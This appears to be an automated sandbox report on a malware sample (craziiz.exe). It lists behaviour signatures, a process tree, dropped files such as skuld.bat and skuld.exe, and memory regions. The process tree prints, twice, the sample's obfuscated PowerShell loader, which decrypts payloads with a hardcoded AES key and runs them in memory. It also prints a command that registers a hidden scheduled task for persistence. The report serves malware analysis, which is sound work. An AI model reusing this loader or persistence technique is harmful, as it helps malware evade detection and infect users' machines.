Resubmissions

20/07/2024, 10:19

240720-mcxjtaxfnn8

20/07/2024, 10:17

240720-mbvc3a1ejd8

20/07/2024, 10:15

240720-man5na1dng8

Analysis

  • max time kernel
    140s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/07/2024, 10:17

General

  • Target
    craziiz.exe
  • Size 19.2MB
  • Sample240720-mbvc3a1ejd
  • SHA256 68efb7a8332b4504485b96570f5f2a9959b81d832e723bf654e59aa820f73e4d
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\craziiz.exe
    "C:\Users\Admin\AppData\Local\Temp\craziiz.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2912
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:248
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uhfM5Ekrw+ocGOKftnYSyasYRZICC7P0NnnY/5IJf88='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DB+I746Y3DoHXqOsfJWvzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pZbag=New-Object System.IO.MemoryStream(,$param_var); $XGRdT=New-Object System.IO.MemoryStream; $oFTsX=New-Object System.IO.Compression.GZipStream($pZbag, [IO.Compression.CompressionMode]::Decompress); $oFTsX.CopyTo($XGRdT); $oFTsX.Dispose(); $pZbag.Dispose(); $XGRdT.Dispose(); $XGRdT.ToArray();}function execute_function($param_var,$param2_var){ $cGsoe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $onmhY=$cGsoe.EntryPoint; $onmhY.Invoke($null, $param2_var);}$LpXdB = 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.bat';$host.UI.RawUI.WindowTitle = $LpXdB;$JpiRJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LpXdB).Split([Environment]::NewLine);foreach ($PtFHO in $JpiRJ) { if ($PtFHO.StartsWith('sqAngQnziQIztPnNNXoF')) { $Vyenk=$PtFHO.Substring(20); break; }}$payloads_var=[string[]]$Vyenk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        3⤵
          PID:4560
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2760
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_551_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_551.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2572
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_551.vbs"
            4⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:1424
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_551.bat" "
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3632
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uhfM5Ekrw+ocGOKftnYSyasYRZICC7P0NnnY/5IJf88='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DB+I746Y3DoHXqOsfJWvzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pZbag=New-Object System.IO.MemoryStream(,$param_var); $XGRdT=New-Object System.IO.MemoryStream; $oFTsX=New-Object System.IO.Compression.GZipStream($pZbag, [IO.Compression.CompressionMode]::Decompress); $oFTsX.CopyTo($XGRdT); $oFTsX.Dispose(); $pZbag.Dispose(); $XGRdT.Dispose(); $XGRdT.ToArray();}function execute_function($param_var,$param2_var){ $cGsoe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $onmhY=$cGsoe.EntryPoint; $onmhY.Invoke($null, $param2_var);}$LpXdB = 'C:\Users\Admin\AppData\Roaming\Windows_Log_551.bat';$host.UI.RawUI.WindowTitle = $LpXdB;$JpiRJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LpXdB).Split([Environment]::NewLine);foreach ($PtFHO in $JpiRJ) { if ($PtFHO.StartsWith('sqAngQnziQIztPnNNXoF')) { $Vyenk=$PtFHO.Substring(20); break; }}$payloads_var=[string[]]$Vyenk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                6⤵
                  PID:632
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:4396
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\ArmDotSetup_2024.6.0.0.exe
                    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\ArmDotSetup_2024.6.0.0.exe"
                    7⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4356
                    • C:\Users\Admin\AppData\Local\Temp\is-RAJP2.tmp\ArmDotSetup_2024.6.0.0.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-RAJP2.tmp\ArmDotSetup_2024.6.0.0.tmp" /SL5="$70296,4618371,121344,C:\Users\Admin\AppData\Local\Temp\RarSFX0\ArmDotSetup_2024.6.0.0.exe"
                      8⤵
                      • Executes dropped EXE
                      PID:4372
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
                    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe"
                    7⤵
                      PID:3220
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 2596
                      7⤵
                      • Program crash
                      PID:5076
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4396 -ip 4396
          1⤵
            PID:1612

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff
                • MD5 SHA1 SHA512

                ModuleAnalysisCache

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • Size 53KB
                • SHA256 9b946b062865f68b9f0f43a011d33d7ea0926a3c8f78fb20d9cab6144314e1bd
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-Interactive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                • Size 20KB
                • SHA256 a13bfb5dfb53ccab38adc2a79589e2f8c8fc7f71f2f03f076a1a86977f8f7068
                • MD5 SHA1 SHA512 SSDEEP

                ArmDotSetup_2024.6.0.0.exe

                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\ArmDotSetup_2024.6.0.0.exe
                • Size 4.8MB
                • SHA256 6d65f3a8e20c01964a7ee7d0ad19d85ef60946024d364bded0840d7ea7d0649e
                • MD5 SHA1 SHA512 SSDEEP

                skuld.bat

                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.bat
                • Size 24.4MB
                • SHA256 50e1ff826b6c14a386107504fe2af420c295b538da3227284f427cbaf0c8a098
                • MD5 SHA1 SHA512 SSDEEP

                skuld.exe

                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
                • Size 9.5MB
                • SHA256 18577118bb2fd0e15e0c464888dda5b4f10e57afb84ab21a21b8a64f73f222e0
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_5a4sk3q3.uww.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5a4sk3q3.uww.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                ArmDotSetup_2024.6.0.0.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\is-RAJP2.tmp\ArmDotSetup_2024.6.0.0.tmp
                • Size 1.1MB
                • SHA256 c28a832f195cc6f0d9428159c3f72f58515c8524446885a53271600b5b63728e
                • MD5 SHA1 SHA512 SSDEEP

                Windows_Log_551.vbs

                • Path C:\Users\Admin\AppData\Roaming\Windows_Log_551.vbs
                • Size 115B
                • SHA256 c8fb316eca80c9440509fdd7d2da6a1f43f41245450fcd260f437b44b05c0e68
                • MD5 SHA1 SHA512

                memory/2572-43-0x000000006F630000-0x000000006F67C000-memory.dmp

                memory/2572-42-0x0000000006E30000-0x0000000006E62000-memory.dmp

                memory/2572-57-0x00000000071E0000-0x00000000071F1000-memory.dmp

                memory/2572-56-0x0000000007270000-0x0000000007306000-memory.dmp

                memory/2572-55-0x0000000007040000-0x000000000704A000-memory.dmp

                memory/2572-54-0x0000000006EA0000-0x0000000006F43000-memory.dmp

                memory/2572-53-0x0000000006E70000-0x0000000006E8E000-memory.dmp

                memory/2760-30-0x0000000046EB0000-0x0000000048680000-memory.dmp

                memory/2760-68-0x0000000072D6E000-0x0000000072D6F000-memory.dmp

                memory/2760-22-0x00000000057A0000-0x0000000005AF4000-memory.dmp

                memory/2760-31-0x0000000048C30000-0x00000000491D4000-memory.dmp

                memory/2760-28-0x0000000007010000-0x000000000702A000-memory.dmp

                memory/2760-27-0x0000000007670000-0x0000000007CEA000-memory.dmp

                memory/2760-11-0x0000000005040000-0x00000000050A6000-memory.dmp

                memory/2760-26-0x0000000006F70000-0x0000000006FE6000-memory.dmp

                memory/2760-25-0x0000000006E00000-0x0000000006E44000-memory.dmp

                memory/2760-24-0x0000000005E70000-0x0000000005EBC000-memory.dmp

                memory/2760-23-0x0000000005C60000-0x0000000005C7E000-memory.dmp

                memory/2760-12-0x0000000005710000-0x0000000005776000-memory.dmp

                memory/2760-10-0x0000000072D60000-0x0000000073510000-memory.dmp

                memory/2760-29-0x0000000000D30000-0x0000000000D38000-memory.dmp

                memory/2760-69-0x0000000072D60000-0x0000000073510000-memory.dmp

                memory/2760-9-0x0000000004DA0000-0x0000000004DC2000-memory.dmp

                memory/2760-80-0x0000000072D60000-0x0000000073510000-memory.dmp

                memory/2760-8-0x0000000072D60000-0x0000000073510000-memory.dmp

                memory/2760-7-0x00000000050E0000-0x0000000005708000-memory.dmp

                memory/2760-6-0x0000000002780000-0x00000000027B6000-memory.dmp

                memory/2760-5-0x0000000072D6E000-0x0000000072D6F000-memory.dmp

                memory/4356-100-0x0000000000400000-0x0000000000428000-memory.dmp

                memory/4356-107-0x0000000000400000-0x0000000000428000-memory.dmp

                memory/4356-117-0x0000000000400000-0x0000000000428000-memory.dmp

                memory/4372-108-0x0000000000400000-0x000000000052D000-memory.dmp

                memory/4372-110-0x0000000000400000-0x000000000052D000-memory.dmp

                memory/4372-112-0x0000000000400000-0x000000000052D000-memory.dmp

                memory/4372-115-0x0000000000400000-0x000000000052D000-memory.dmp